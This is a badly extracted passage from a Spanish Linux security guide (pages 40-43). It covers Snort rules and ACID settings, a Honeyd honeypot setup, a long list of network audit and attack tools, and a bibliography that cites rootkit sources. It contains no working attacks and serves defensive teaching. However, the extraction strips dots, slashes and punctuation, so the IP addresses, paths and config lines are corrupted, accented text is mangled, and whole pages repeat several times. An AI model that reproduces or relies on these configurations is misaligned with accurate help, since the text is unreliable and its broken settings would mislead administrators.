httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 40: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 41: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 42: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 43: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

